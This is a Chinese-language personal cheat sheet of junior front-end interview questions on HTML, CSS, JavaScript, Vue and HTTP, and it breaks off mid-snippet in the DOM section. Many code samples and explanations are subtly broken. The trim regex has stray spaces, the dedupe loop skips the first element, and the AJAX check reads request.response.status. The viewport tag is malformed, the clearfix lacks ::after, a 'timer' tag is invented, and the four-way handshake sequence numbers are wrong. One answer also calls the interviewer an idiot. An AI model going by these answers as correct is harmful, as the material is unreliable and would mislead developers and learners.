2019-07-03 初级前端面试题个人汇总

一、HTML


1.1 你是如何理解HTML语义化的?

  • 语义化指的就是根据内容的结构化,选择合适的标签,便于开发者阅读和维护。

  • 我平时写的代码都是语义化的代码,标题我就写h1-h6,文章我就写article,如果是时间,我就会用timer标签,如果是一个画板我就用canvas标签,这就是HTML语义化。

1.2 meta viewport 是做什么用的,怎么写?

(换句话说,你如果手机页面不缩放,应该怎么写)

<meta name="viewport" content="width=device-width,user-scale=no,initial-scale=1.0,maximum-scale=1.0,minimum-scale=1.0>

1.3 你用过哪些HTML5标签

  • 内容相关的标签:header main footer article
  • 功能相关的标签:canvas video audio
  • canvas (可用于通过使用JavaScript中的脚本来绘制图形)
<canvas id="canvas"></canvas>
var canvas = document.getElementById('canvas')//获取画布句柄
var ctx = canvas.getContext('2d');//需要指明2d上下文

ctx.fillStyle = 'green'
ctx.fillRect(10,10,100,100)//画一个矩形,参数依次为 x坐标,y坐标,宽度,高度

2D上下文:从坐标的左上角的,width 和 height 水平和垂直方向的可用像素

  • video ( 用于在HTML或者XHTML文档中嵌入媒体播放器,用于支持文档内的视频播放)
<video controls autoplay>
    <source src="myVideo.mp4" type="video/mp4">
    <source src="myVideo.webm" type="video/webm">
    <p>Your browser doesn't support HTML5 video. Here is
       a <a href="myVideo.mp4">link to the video</a> instead.</p>
</video>

在HTML中写入video标签,属性有controls,autoplay,标签里面写几个source标签,这是因为不同的浏览器支持的播放格式不一定一致,然后浏览器会使用它所支持的第一个源。

1.4 H5是什么?

  • 移动端页面

1.5 canvas跟svg的区别

1.5 响应式布局

  • css根据屏幕宽度,自动调整网页div显示和布局,以适应不同尺寸屏幕优化浏览体验。

二、CSS


2.1 两种盒模型

  • 分为border-box(IE盒模型)和content-box(W3C盒模型)
  • 区别:border-box的宽度width将padding和border算在里面,而content-box没有
  • 举个例子:如果我需要一个这样的布局,要一个div的整体宽度是页面的50%,并且这个div还带一个10px的边框

IE盒模型

div{
  width:50%;
  border:10px solid black;
  box-sizing:border-box;/* 设置为IE盒模型标准 */
}

W3C模型

div{
   width:calc(50%-20px);
   border:10px solid black
}

css3的计算属性calc()兼容性一般

2.2 如何实行垂直居中

  • 若元素是单行文本, 则可设置 line-height 等于父元素高度
  • 在不在的自己的高度和父容器的高度时候,利用绝对定位是需要三行:
.father{
  position:relative
}
.child{
  positon:absolute;
  top:50%;
  transform:translateY(-50%)
}
  • 不考虑兼容性的话,用Flex布局
.father{
  display:flex;
  align-items:center;
}

2.2 如何实行水平居中

  • 若是行内元素, 给其父元素设置 text-align:center,即可实现行内元素水平居中.
  • 若是块级元素, 该元素设置 margin:0 auto即可.

水平居中较为简单, 共提供了8种方法, 一般情况下 text-align:center,marin:0 auto; 足矣
① text-align:center;
② margin:0 auto;
③ width:fit-content;
④ flex
⑤ 盒模型
⑥ transform
⑦ ⑧ 两种不同的绝对定位方法

垂直居中, 共提供了8种方法.
① 单行文本, line-height
② 单行或多行文字, 使用 display: inline-block, vertical-align: middle; 加上伪元素辅助实现
③ 在最外層寫一個偽table,也就是display:table,然後在要垂直置中的區塊,加上display:table-cell以及vertical-align: middle
④ flex
⑤ 盒模型
⑥ transform
⑦ ⑧ 两种不同的绝对定位方法

设置父元素相对定位(position:relative), 子元素如下css样式:

.son{
    position:absolute;
    top:50%;
    height:固定;
    margin-top:-0.5高度;
}
.son{
    position:absolute;
    height:固定;
    top:0;
    bottom:0;
    margin:auto 0;
}

2.3 flex怎么用,常用的属性有哪些

  • Flex布局的父元素共有6种属性可以设置

flex-direction属性决定主轴的方向
flex-wrap属性决定当子元素的总和大于父元素时候是否换行
flex-flow属性是flex-direction和flex-wrap的组合,它是将这两个属性写到一起,先写flex-direction,后写flex-wrap,默认值为row nowrap
justify-content属性定义子元素在主轴上的对齐方式
align-items属性定义子元素在侧轴上的对齐方式
align-content属性定义子元素多根轴线在侧轴上的对齐方式,只在多行显示下有效。

  • Flex布局的子元素共有6种属性可以设置

flex-grow 属性表示当父元素空间有剩余时,将剩余空间分配给各子元素的比例
flex-shrink属性与flex-grow属性的作用相反,表示当子元素宽度总和大于父元素宽度,且未换行显示时,各子元素压缩大小,默认为1,表示各子元素等比压缩
flex-basis属性可以用来设置子元素的空间,默认值为auto,表示为原本大小
flex属性是flex-grow、flex-shrink和flex-basis的合集,默认值为0 1 auto,后两个属性可不写
order属性定义子元素在排列顺序,默认值为0,值越小越靠前
align-self属性允许子元素单独设置对齐方式,优先级比父元素的align-items高。默认值为auto,表示继承父元素的align-items

Flex布局

2.4 BFC是什么?

  • BFC的名称是块级格式化上下文
  • 如果我们给一个div加上overflow:hidden,那么这个div里面的浮动元素就会被他包裹起来。
  • 通俗一点来讲,触发BFC就是将触发的区域当作一个容器,,这个容器管理着里面的块级元素。BFC内部元素与与外部元素相互隔离,从而使内外元素的定位不会相互影响。

2.5 CSS选择器的优先级

  • 越具体优先级越高
.xxx
:not(.xxx):first-child{}
  • 写在后面的覆盖前面的
  • important!优先级最高,少用

2.5 清除浮动

.clearfix{
    content:'';
    display:block;
    clear:both;
}

.clearfix 加到容器元素上,里面的子元素的浮动就被清除了

2.6 rem

  • rem是相对于根元素的字体大小的单位

2.7 行内元素,块状元素,行内块元素

2.7.1 行内元素

  • 设置宽高无效
  • 对margin仅设置左右方向有效,上下无效
  • 不会自动进行换行

2.7.2 块状元素

  • 能够识别宽高
  • margin和padding的上下左右均对其有效
  • 可以自动换行
  • 多个块状元素标签写在一起,默认排列方式为从上至下

2.7.3 行内块元素

  • 不自动换行
  • 能够识别宽高
  • 默认排列方式为从左到右

2.7.4 行内块元素在同一行显示时有默认空隙,如何解决

  • 原因:换行显示或空格分隔的情况下会有间距
  • 使用margin负值
  • 父元素使用font-size:0
.space {
    font-size: 0;
}
.space a {
    font-size: 12px;
}
  • 使用letter-spacing
  • 使用word-spacing

三、原生JS

3.1 ES6语法知道哪些,分别怎么用?

3.1.1 let const

  • let的作用域是块,而var的作用域是函数,let其作用域为该语句所在的代码块内,不存在变量提升;
  • const定义的变量不可以修改,而且必须初始化,以及不能重新声明。

const定义的变量,不能修改栈内对应的值或者地址。

  • 函数提升优先于变量提升,函数提升会把整个函数挪到作用域顶部,变量提升只会把声明挪到作用域顶部
  • var 存在提升,我们能在声明之前使用。 let 、 const 因为暂时性死区的原因,不能在声明前使用
  • var 在全局作用域下声明变量会导致变量挂载在 window 上,其他两者不会
  • let 和 const 作用基本一致,但是后者声明的变量不能再次赋值
const有let的所有特性;
然后const不一定是常量
const obj = {a:1}
obj.a=2
obj.b=2
是可行的,
const obj = {a:1}
obj = {a:2}
不可行,

3.1.2 箭头函数

  1. 没有 this
  2. 没有 arguments
  3. 不能通过 new 关键字调用
  4. 没有原型
var Foo = () => {};
var foo = new Foo(); // TypeError: Foo is not a constructor

3.1.3 函数默认参数值

function multiply(a, b = 1) {
  return a * b;
}

3.1.4 展开运算符

3.1.5 模板字符串

let bianliang = 1111;
console.log(`输出的会是 ${bianliang}`);

3.1.5 解构赋值

var a, b;

[a=5, b=7] = [1];
console.log(a); // 1
console.log(b); // 7

3.1.6 Promise

  • Promise 对象用于表示一个异步操作的最终状态(完成或失败),以及该异步操作的结果值。
  • Promise 最直接的好处就是链式调用

3.2 手写函数防抖,函数节流

3.2.1 函数防抖

function fn(){}
var timerId = null
button.onclick = function(){
  if(timerId){
    window.clearTimeout(timerId)
  }
  timerId = setTimeout(()=>{
    fn()
    timerId = null
  },5000)
}

3.2.2 函数节流

function fn(){}
let cd = false
button.onclick = funciton(){
  if(cd){
    
  }else{
    fn()
    cd = true
    let timerId = setTimeout(()=>{
      cd = false
    },5000)
  }
}

3.4 手写AJAX

let request = new XMLHttpRequest()
request.open('GET','/xxx')
request.onreadystatechange = function(){
    if(request.readyState === 4){
        console.log('请求完成')
        if(request.response.status >= 200 && request.response.status < 300){
            console.log('请求成功')
        }else{

        }
    }
    
}
request.send()

3.5 this (如何正确判断 this?箭头函数的 this 是什么?)

  • 对于直接调用 foo 来说,不管 foo 函数被放在了什么地方, this 一定是 window
  • 对于 obj.foo() 来说,我们只需要记住,谁调用了函数,谁就是 this ,所以在这个场景下 foo 函数中的
    this 就是 obj 对象
  • 对于 new 的方式来说, this 被永远绑定在了 c 上面,不会被任何方式改变 this
1. fn()
this => window
2. obj.fn()
this => obj
3. fn.call(xxx)
this => xxx
4. fn.bind(xxx)
this => xxx
5. fn.apply(xxx)
this => xxx
6. new Fn()
this => 新的对象
7. fn=()=>{}
this => 外面的this

3.6 闭包及其立即执行函数

3.6.1 闭包

  • 概念:一个函数和这个函数内部能访问到的变量(也叫环境)的总和就是闭包


  • 作用:通常用来创建内部变量,使得这些变量不能被外部随意修改,同时又可以通过指定的函数接口来操作。
  • 缺点:内存消耗大,IE容易造成内存泄露,函数调用完手动回收变量!

3.6.2 立即执行函数

  • 概念:声明一个匿名函数,然后立马执行这个函数


  • 作用:创建一个独立的作用域。这个作用域里面的变量,外面访问不到(即避免「变量污染」)。

3.7 什么是JSONP,什么是CORS,什么是跨域?

3.7.1 JSONP

概念:JSONP是一种非正式传输协议,用来跨域请求的
原理:允许用户传递一个callback参数给服务端,然后服务端返回数据时会将这个callback参数作为函数名来包裹住JSON数据,这样客户端就可以随意定制自己的函数来自动处理返回数据了。

<script src="http://api.jirengu.com/weather.php?callback=showData"></script>

  • JSONP优点是简单兼容性好,可用于解决主流浏览器的跨域数据访问的问题。缺点是仅支持get方法具有局限性,不安全可能会遭受XSS攻击
1. 知道 jsonp 么?
答:知道,可以实现跨域请求;

2. 为什么 ajax 不可以,但是 jsonp 可以实现跨域请求呢?
答:因为 jsonp 是通过插入一个 script 标签,利用 script 可以跨域请求来实现的。
答:面试官傻逼,ajax 现在也可以使用 cors 来做跨域请求;

2.5 jsonp 实现原理?
答:通过创建一个 script 标签,将 src 设置为目标请求,插入到 dom 中,服务器接受该请求并返回数据,数据通常被包裹在回调钩子中;

3.  可以用 jsonp 发送 post 请求么?
答:显然不行,因为JSONP是通过动态创建<srcipt>标签来发送请求,<srcipt>只支持发送GET请求

4. 参考 jsonp,还有那些发送跨域请求的途径?
答:img link iframe 等元素都可以发送跨域请求呀!

5. img link iframe script 来发送跨域请求有什么优缺点?

3.7.2 CROS

概念:跨域资源共享,是AJAX跨域请求资源的方式

Access-Control-Allow-Origin的值要么是请求时Origin字段的值,要么是一个*,表示接受任意域名的请求。

// 限制当前请求http://a.code.com:8080可以获取数据
header("Access-Control-Allow-Origin", "http://a.code.com:8080"); 
// 接受任何请求
// header("Access-Control-Allow-Origin", "*");

CORS和JSONP的应用场景区别?

CORS要求浏览器(>IE10)和服务器的同时支持,是跨域的根本解决方法,由浏览器自动完成。优点在于功能更加强大支持各种HTTP Method,缺点是兼容性不如JSONP。

3.7.3 跨域

  • 协议+域名+端口

3.8 async/await 怎么用,如何捕获异常?

  • await 只能放在async函数里面
  • 为什么要用 await

async/await是generator的语法糖,让异步代码写成同步的样式

  • 所有async函数都会返回一个Promise函数
  • 如果要await多个请求,需要借用Promise.all()
async function test(){
  try{
    let n = await Promise.all([fn1,fn2])
  }catch(err){
    console.log('失败的结果')
  }
}

3.9 JS如何实现对象深拷贝

  • 递归
  • 判断类型
  • 循环引用
  • 深拷贝,就是遍历那个被拷贝的对象
  • 判断对象里每一项的数据类型
  • 如果不是对象类型,就直接赋值,如果是对象类型,就再次调用deepCopy,递归的去赋值。
function deepClone(source){
  const targetObj = source.constructor === Array ? [] : {}; // 判断复制的目标是数组还是对象
  for(let keys in source){ // 遍历目标
    if(source.hasOwnProperty(keys)){ // 意思就是__proto__上面的属性,我不拷贝
      if(source[keys] && typeof source[keys] === 'object'){ // 如果值是对象,就递归一下
        targetObj[keys] = source[keys].constructor === Array ? [] : {};
        targetObj[keys] = deepClone(source[keys]);
      }else{ // 如果不是,就直接赋值
        targetObj[keys] = source[keys];
      }
    } 
  }
  return targetObj;
}

var targetObj = JSON.parse(JSON.stringify(copyObj))

如果你的对象里有函数,函数无法被拷贝下来
无法拷贝copyObj对象原型链上的属性和方法

3.10 如何用正则实现trim

function trim(string){
  return string.replace(/^\s + |\s + $/g,'')
}

3.11 不用class实现继续

原型,继承

3.11.1 原型模式

  • 每个函数都有一个prototype(原型)属性
  • 这个属性都有一个指针,指向一个对象(原型对象)
  • 这个对象包含由特定类型所有实例共享的属性和方法
  • 使用原型的好处是 可以让所有对象实例共享它包含的方法和属性
  • 对象的 _proto_ 属性指向原型, _proto_ 将对象和原型连接起来组成了原型链

3.11.2 原型链

在 javaScript 中,每个对象都有一个指向它的原型(prototype)对象的内部链接。这个原型对象又有自己的原型,直到某个对象的原型为 null 为止(也就是不再有原型指向),组成这条链的最后一环。这种一级一级的链结构就称为原型链

  • 不用class实现继承
function Animal(color){
    this.color = color
}
Animal.prototype.move = function(){}

function Dog(color,name){
    Animal.call(this,color) //得分点
    this.name = name
}

function temp(){}
temp.prototype = Animal.prototype
Dog.prototype = new temp()

Dog.prototype.constructor = Dog
Dog.prototype.say = ()=>{console.log('汪汪')}

var dog = new Dog('黄色','阿黄')
  • 用class实现继承
class Animal{
    constructor(color){
        this.color = color
    }
    move(){
        console.log(this)
    }
}

class Dog extends Animal{
    constructor(color,name){
        super(color)
        this.name = name
    }
    say(){
        console.log('汪汪')
    }
}

let dog = new Dog('颜色','姓名')

3.12 实现数组去重

  1. hash
  2. [...new Set(array)]
  3. WeakMap (支持所有类型的去重 )
ES5 
function unique(array){
    let hash = {}
    let number = []
    for(let i = 1;i<array.length;i++){
        if(hash[array[i]] === undefined){
            number.push(array[i])
            hash[array[i]] = 1
        }
    }
    return number
}
ES 6
function unique(array){
    return Array.from(new Set(array))
}

3.13 手写Promise

function Promise(executor) {
    let self = this;
    self.status = 'pending'; //等待态
    self.value = undefined;  //成功的返回值
    self.reason = undefined; //失败的原因

    function resolve(value) {
        if (self.status === 'pending') {
            self.status = 'resolved';
            self.value = value;
        }
    }
    function reject(reason) {
        if (self.status === 'pending') {
            self.status = 'rejected';
            self.reason = reason;
        }
    }
    try {
        executor(resolve, reject);
    } catch (e) {
        reject(e);// 捕获时发生异常,就直接失败
    }
}
//onFufiled 成功的回调
//onRejected 失败的回调
Promise.prototype.then = function (onFufiled, onRejected) {
    let self = this;
    if (self.status === 'resolved') {
        onFufiled(self.value);
    }
    if (self.status === 'rejected') {
        onRejected(self.reason);
    }
}
module.exports = Promise;

测试

let Promise = require('./Promise');

let promise = new Promise(function (resolve, reject) {
    resolve(100);
})

promise.then(function (data) { 
    console.log('data:', data);
},function (err) {
    console.log('err:', err);
})

3.14 如何判断变量的类型

3.14.1 typeof vs instanceof

涉及面试题:typeof 是否能正确判断类型?instanceof 能正确判断对象的原理是什么?

  • typeof 对于原始类型来说,除了 null 都可以显示正确的类型
  • typeof 对于对象来说,除了函数都会显示 object
typeof [] // 'object'
typeof {} // 'object'
typeof console.log // 'function'
  • instanceof 能正确判断对象的原理:因为内部机制是通过原型链来判断

3.15 在JavaScript中,有三种常用的绑定事件的方法

  1. 在DOM元素中直接绑定;
<input onclick="alert('谢谢支持')" type="button" value="点击我,弹出警告框" />
  1. 在JavaScript代码中绑定;
例如,为 id="demo" 的按钮绑定一个事件,显示它的 type 属性:
<input id="demo" type="button" value="点击我,显示 type 属性" />
<script type="text/javascript">
    document.getElementById("demo").οnclick=function(){
        alert(this.getAttribute("type")); 
    }
</script>
  1. 绑定事件监听函数
button.addEventListener("click", function (evt) { ... }, true); // IE9, IE9+, Chrome, Safari, Opera
button.attatchEvent("onclick", function () { ... }); // IE9-

3.16 数组里面有哪些遍历方法

3.16.1 for循环

var a = [1, 2, 3, 4, 5];
for (var i = 0; i < a.length; i++) {
  console.log(a[i]);
}

3.16.2 forEach,some和every

  • forEach 会遍历数组中的所有值并忽略回调函数的返回值
var a = [1, 2, 3, 4, 5];
a.forEach(function (i) {
  console.log(i);//1 2 3 4 5
  // return true ,return false 或者不写返回值,结果都一样
})
  • some(..):一直运行直到回调函数返回 true (或者“真”值).返回true时相当于在for循环里break,会提前终止循环
var a = [1, 2, 3, 4, 5];
a.some(function (i) {
  if (i === 3) {
    return true;
  }
  console.log(i); //1 2
  return false;//回调函数默认返回false,这里不写也可以
});
  • every(..):一直运行直到回调函数返回 false (或者“假”值).返回false时相当于在for循环里break,会提前终止循环
var a = [1, 2, 3, 4, 5];
a.every(function (i) {
  if (i === 3) {
    return false;
  }
  console.log(i);//1 2
  return true;//回调函数默认返回false,这里return true必须要写,否则在遍历第一个属性值之后就会终止循环
})

3.16.3 for..in和for..of

  • for..in循环可遍历对象的所有可枚举属性,所以一般用来遍历对象而不是数组,否则如果数组对象包含其他可枚举属性,遍历结果就会和期望结果不同
var a = [1,2,3];
a.ex = "ex";
//注意这里遍历的只是属性
for(var i in a){
  console.log(i); // 0 1 2 ex
}
  • for..of :为了弥补for..in循环遍历数组的缺陷,ES6推出了for..of循环

3.16.4 map() ,filter(),reduce()

3.16.5 while

3.17 JS的执行机制

  • javascript是一门单线程语言
  • Event Loop是javascript的执行机制


3.18.1 浏览器中的 Event Loop

macro-task(宏任务): setTimeout, setInterval, setImmediate(ie浏览器特有),MessageChannel
micro-task(微任务): Promise.then,Object.observe(已废弃), MutationObserver

  • 首先执行同步代码,这属于宏任务
  • 当执行完所有同步代码后,执行栈为空,查询是否有异步代码需要执行
  • 执行所有微任务
  • 当执行完所有微任务后,如有必要会渲染页面
  • 然后开始下一轮 Event Loop,执行宏任务中的异步代码,也就是 setTimeout 中的回调函数

3.18.2 Node 中的 Event Loop

macro-task(宏任务): setTimeout, setInterval, setImmediate, I/O
micro-task(微任务): process.nextTick,Promise.then,Object.observe(已废弃), MutationObserver(vue中使用但由于不兼容放弃)

  • Node 的 Event Loop 分为 6 个阶段,它们会按照顺序反复运行。每当进入某一个阶段的时候,都会从对应的回调
    队列中取出函数去执行。当队列为空或者执行的回调函数数量到达系统设定的阈值,就会进入下一阶段。

3.19 call()、apply()、bind()

  • 不同之处在于,call 方法传递给调用函数的参数是逐个列出的,而 apply 则是要写在数组中。
  • 核心要点: 可以看出 call 和 apply 是为了动态改变 this 而出现的,当一个 Object 没有某个方法,但是呢,其它的对象有,我们可以借助 call 或 apply 用其它对象的方法来操作。
  • bind 方法传递给调用函数的参数可以逐个列出,也可以写在数组中。bind 方法与 call、apply 最大的不同就是前者返回一个绑定上下文的函数,而后者是直接执行了函数

3.19.1 手写bind

Function.prototype.myBind = function (context) {
  if (typeof this !== 'function') {
    throw new TypeError('Error')
  }
const _this = this
const args = [...arguments].slice(1)
// 返回一个函数
  return function F() {
// 因为返回了一个函数,我们可以 new F(),所以需要判断
    if (this instanceof F) {
     return new _this(...args, ...arguments)
    }
    return _this.apply(context, args.concat(...arguments))
   }
}

四、Vue.js

4.1 watch 和 computed 区别是什么?

  • watch 是监听数据,computed 是计算属性
  • computed属性只在依赖的数据发生变化时,才会重新计算,否则当多次调用computed属性时,调用的其实是缓存;watch则每调用一次就计算一次;

4.2 Vue有哪些生命周期钩子函数?分别有什么用?

  • beforeCreate :可以在这加个loading事件
  • created:在这里结束loading,还做一些初始化,实现函数自执行
  • mounted:在这里发起axios请求,拿回数据,配合路由钩子做其他事情
  • updated:监听data里面所有的数据
  • beforeDestory,destoryed:但组件已被删除,清空相关内容

4.3 Vue如何实现组件间的通信

  • 父子组件:1. 父传子,用props 2. 子传父,$emit('xxx',data) $on('xxx',function(){})
  • 爷孙组件,兄弟组件: eventBus var eventBus = new Vue(); eventBus.$emit() eventBus.$on()
  • Vuex

Vuex是专门为Vue.js开发的全局状态管理工具

4.4 Vue数据响应式怎么做到的?

  • 当你把一个普通的 JavaScript 对象传入 Vue 实例作为 data 选项,Vue 将遍历此对象所有的属性,并使用 Object.defineProperty把这些属性全部转为 getter/setter。
  • 在mount时,实例了一个Watcher,它会在组件渲染的过程中把“接触”过的数据属性记录为依赖。之后当依赖项的 setter 触发时,会通知 watcher,从而使它关联的组件重新渲染。

vue面试题

4.5 Vue.set是做什么用的?

  • 当你想添加新的根级响应式属性时候用
mounted () {
    this.$set(this.student,"age", 24)
}

4.6 Vuex你是这么用的?

  • 5个属性:state,getter,mutation,action,module
  • state的作用:类似于Vue对象里面的data,里面存放的数据是响应式的。
  • getter的作用:可以对State进行计算操作,她就是store的计算属性
  • mutation的作用:是Vuex修改state的唯一推荐方法,mutation用于修改state的数据,是同步的
  • action的作用:类似于 mutation, 不同在于:action 提交的是 mutation,而不是直接变更状态,action 可以包含任意异步操作
  • module的作用:项目特别复杂的时候,可以让每一个模块拥有自己的state、mutation、getters、action.,使得结构清晰,方便管理。

4.7 Vue-Router你怎么用的?

  • Vue Router是官方的路由管理器

全局导航钩子

  • router.beforeEach(to,from,next) 作用主要是用于登录验证
  • router.beforeResolve(to, from, next),
  • router.afterEach(to, from )

组件內钩子

  • beforeRouteEnter,
  • beforeRouteUpdate,
  • beforeRouteLeave

单独路由独享组件

  • beforeEnter

4.7.1 active-class 是哪个组件的属性?嵌套路由怎么定义

  • active-class 是 vue-router 模块的 router-link 组件的属性
  • 使用 children 定义嵌套路由

4.7.2 怎么定义 vue-router 的动态路由? 怎么获取传过来的值

  • 在 router 目录下的 index.js 文件中,对 path 属性加上 /:id。
  • 使用 router 对象的 params.id 获取

4.7.3 $route和$router的区别

  • $route是“路由信息对象”,包括path,params,hash,query,fullPath,matched,name等路由信息参数。
  • $router是“路由实例”对象包括了路由的跳转方法,钩子函数等。

4.7.4 指令keep-alive

<keep-alive></keep-alive> 包裹动态组件时,会缓存不活动的组件实例,主要用于保留组件状态或避免重新渲染。
大白话: 比如有一个列表和一个详情,那么用户就会经常执行打开详情=>返回列表=>打开详情…这样的话列表和详情都是一个频率很高的页面,那么就可以对列表组件使用<keep-alive></keep-alive>进行缓存,这样用户每次返回列表的时候,都能从缓存中快速渲染,而不是重新渲染

<component :is='curremtView' keep-alive></component>

4.7.5 路由守卫

  • 概念:导航守卫就是路由跳转过程中的一些钩子函数。

4.7.6 hash和history的区别

  • Hash 模式只可以更改 # 后面的内容,History 模式可以通过 API 设置任意的同源 URL
  • History 模式可以通过 API 添加任意类型的数据到历史记录中,Hash 模式只能更改哈希值,也就是字符串
  • Hash 模式无需后端配置,并且兼容性好。History 模式在用户手动输入地址或者刷新页面的时候会发起 URL
    请求,后端需要配置 index.html 页面用于匹配不到静态资源的时候

4.8 vue 的双向绑定的原理是什么

vue.js 是采用数据劫持结合发布者-订阅者模式的方式,通过 Object.defineProperty()来 劫持各个属性的 setter,getter,在数据变动时发布消息给订阅者,触发相应的监听回调。

4.9 对MVVM框架的理解,它和其它框架(jquery)的区别是什么?哪些场景适合?

  • 一个model+view+viewModel框架,数据模型model用户操作界面view,viewModel连接这两个,
    在使用过程中,利用双向绑定技术,当Model变化时,ViewModel会自动更新,而ViewModel变化时,View也会自动变化
  • 区别:vue数据驱动,通过数据来显示视图层而不是节点操作。
  • 场景:数据操作比较多的场景,更加便捷

4.10 v-slot

  • 是对组件的扩展,通过slot插槽向组件内部指定位置传递内容,通过slot可以父子传参

4.11 v-for中的key值

  • 当 Vue 正在更新使用 v-for 渲染的元素列表时,它默认使用“就地更新”的策略
  • 为了给 Vue 一个提示,以便它能跟踪每个节点的身份,从而重用和重排现有元素
  • 为了高效的更新虚拟DOM

4.12 v-if 和 v-show

  • v-if是动态的向DOM树内添加或者删除DOM元素;v-show是通过设置DOM元素的display样式属性控制显隐

五、 HTTP

5.1 HTTP状态码

  • 200 (成功)服务器已经成功处理了请求。
  • 201 (已创建)请求成功并且服务器创建了新的资源。
  • 204 (无内容)服务器成功处理了请求,但是没有返回任何内容
  • 300 (多种选择)针对请求,服务器可执行多种操作。
  • 301 (永久重定向)请求的网页已永久移动到新的位置。
  • 302 (临时重定向)请求的资源已被分配了新的URI,希望用户能使用新的URI访问
  • 303 (查看其他位置)请求对应的资源存在着另一个URI,应使用GET方法定向获取请求的资源
  • 304 (未修改) 自从上次请求后,请求的网页未修改过。
  • 400 (错误请求) 服务器不理解请求的语法。
  • 401 (未授权) 请求要求身份验证。
  • 403 (禁止) 服务器拒绝请求。
  • 404 (未找到) 服务器找不到请求的网页。
  • 414 (请求的 URI 过长) 请求的 URI(通常为网址)过长,服务器无法处理。
  • 500 (服务器内部错误) 服务器遇到错误,无法完成请求。
  • 502 (错误网关) 服务器作为网关或代理,从上游服务器收到无效响应。
  • 503 (服务不可用) 服务器目前无法使用(由于超载或停机维护)。 通常,这只是暂时状态。
  • 504 (网关超时) 服务器作为网关或代理,但是没有及时从上游服务器收到请求。

5.2 HTTP缓存有几种

强制缓存和协商缓存

5.3 GET和POST请求的区别

  • GET是向服务器端请求数据,POST是向服务器提交数据。(正确的说法)
  • GET URL有长度限制的,而POST没有。
  • GET比POST更不安全,因为参数直接暴露在URL上,所以不能用来传递敏感信息。
  • GET参数通过URL传递,POST放在消息体中。
  • GET 只需要一个报文,POST需要两个及以上
  • GET 幂等,POST不幂等(幂等:你发多次请求是不会改变数据库里面的东西,而POST不一定。)

5.4 Cookie LocalStorage SessionStorage Seccion

5.4.1 Cookie 和 Session的区别

  • Cookie是服务器发给客户端的一段字符串,浏览器在每次访问对应域名的时候都要带上这个字符串
  • Session 是会话,表示浏览器和服务器一段时间内的会话
  • Session是在服务器上,Cookie是在浏览器上
  • Session一般是基于Cookie实现的,把Session_ID放到Cookie里面

5.4.2 Cookie 和 LocalStorage

  • Cookie一般是4K,LocalSrotage一般是5M
  • Cookie一般是存用户信息的,LocalSrotage存储不重要的东西
  • Cookie会发送到服务器的,LocalSrotage不会

5.4.2 SessionStorage和 LocalStorage

  • LocalStorage一般不会过期,SessionStorage会在Session结束时候过期

5.4.3 如果浏览器禁用cookie,怎么办?

  • URL重写,就是把session id直接附加在URL路径的后面。
http://www.test.com/test;jsessionid=ByOK3vjFD75aPnrF7C2HmdnV6QZcEbzWoWiBYEnLerjQ99zWpBng!-145788764
  • 表单隐藏字段。就是服务器会自动修改表单,添加一个隐藏字段,以便在表单提交时能够把session id传递回服务器。
<form name=”"testform”" action=”"/xxx”"> <input type=”"hidden”" name=”"jsessionid”" value=”"ByOK3vjFD75aPnrF7C2HmdnV6QZcEbzWoWiBYEnLerjQ99zWpBng!-145788764″”> <input type=”"text”"> </form>

5.5 HTTP和HTTPS的区别

  • HTTP 的URL 以http:// 开头,而HTTPS 的URL 以https:// 开头
  • HTTP 标准端口是80 ,而 HTTPS 的标准端口是443
  • HTTP工作于应用层,而HTTPS 的安全传输机制工作在传输层
  • HTTP 无法加密,而HTTPS 对传输的数据进行加密
  • HTTP无需证书,而HTTPS 需要CA机构的SSL证书

5.6 HTTP 1.1 和 HTTP 2.0 的区别

  • 多路复用
    做到同一个连接并发处理多个请求,而且并发请求的数量比HTTP1.1大了好几个数量级。
    当然HTTP1.1也可以多建立几个TCP连接,来支持处理更多并发的请求,但是创建TCP连接本身也是有开销的。
  • 数据压缩
    HTTP1.1不支持header数据的压缩,HTTP2.0使用HPACK算法对header的数据进行压缩,这样数据体积小了,在网络上传输就会更快
  • 服务器推送
    意思是说,当我们对支持HTTP2.0的web server请求数据的时候,服务器会顺便把一些客户端需要的资源一起推送到客户端,免得客户端再次创建连接发送请求到服务器端获取。这种方式非常合适加载静态资源。
    服务器端推送的这些资源其实存在客户端的某处地方,客户端直接从本地加载这些资源就可以了,不用走网络,速度自然是快很多的。

5.7 从输入URL到页面展现中间发生了什么?

1、浏览器的地址栏输入URL并按下回车。
2、浏览器查找当前URL是否存在缓存,并比较缓存是否过期。
3、DNS解析URL对应的IP。
4、根据IP建立TCP连接(三次握手)。
5、HTTP发起请求。
6、服务器处理请求,浏览器接收HTTP响应。
7、渲染页面,构建DOM树。
8、关闭TCP连接(四次挥手)

5.7.1 三次握手

  • 客户端发送syn报文,并置发送序号为X
  • 服务器发送syn+ack报文,并置发送序号为Y,确认序号为X+1
  • 客户端发送ack报文,并置发送序号为Z,确认序号为Y+1

5.7.2 四次挥手

  • 主动方放送Fin+ack报文,并置发送序号为Z
  • 被动放发送ack报文,并置发送序号为Z,在确认序号为X+1
  • 被动方发送Fin +ack 报文,并置发序号为Y,在确认序号为X
  • 主动方发送Fin +ack报文,并置发送序号为X,在确认序号为Y

5.7.3 为什么建立连接协议是三次握手,而关闭连接却是四次握手呢?

这是因为服务端的LISTEN状态下的SOCKET当收到SYN报文的连接请求后,它可以把ACK和SYN(ACK起应答作用,而SYN起同步作用)放在一个报文里来发送。但关闭连接时,当收到对方的FIN报文通知时,它仅仅表示对方没有数据发送给你了;但未必你所有的数据都全部发送给对方了,所以你可能未必会马上会关闭SOCKET,也即你可能还需要发送一些数据给对方之后,再发送FIN报文给对方来表示你同意现在可以关闭连接了,所以它这里的ACK报文和FIN报文多数情况下都是分开发送的。

六、Web性能优化

6.1 DNS查询

  • 尽量减少域名,把所有的资源放在一个网站

6.2 链接TCP协议

  • 连接复用,在HTTP协议请求头里面写一个keep-alive
  • 如果是HTTP2.0 多路复用

6.3 发送HTTP请求

  • 减少cookie体积
  • CacheControl
  • 浏览器会同时发送多个请求

6.4 接受响应

  • ETag 304
  • Gzip 压缩 文件越大 效果越明显

6.5 DOCTYPE

  • 不能不写,不能写错

6.5 CSS

  • 使用CDN,增大下载的名额
  • CSS放在head,js放在body最后

七、 超纲题

7.1 JS垃圾回收

7.1.1 什么是垃圾

  • 没有被引用的对象可能是垃圾
  • 多个对象相互引用形成环也是垃圾

7.1.2 浏览器是如何找到垃圾,并回收

  • 标记-清除算法

从全局作用域开始,把所有遇到的变量都标记上, 然后被标记的变量引用了其他东西就再标记,一直标记到找不到新的东西,标记过程就结束了,最后把没标记的删除。

  • 引用计数

八、DOM

8.1 事件委托

8K版本

ul.addEventListener('click',(e)={
  if(e.targer.nodeName.toLowerCase === 'li'){
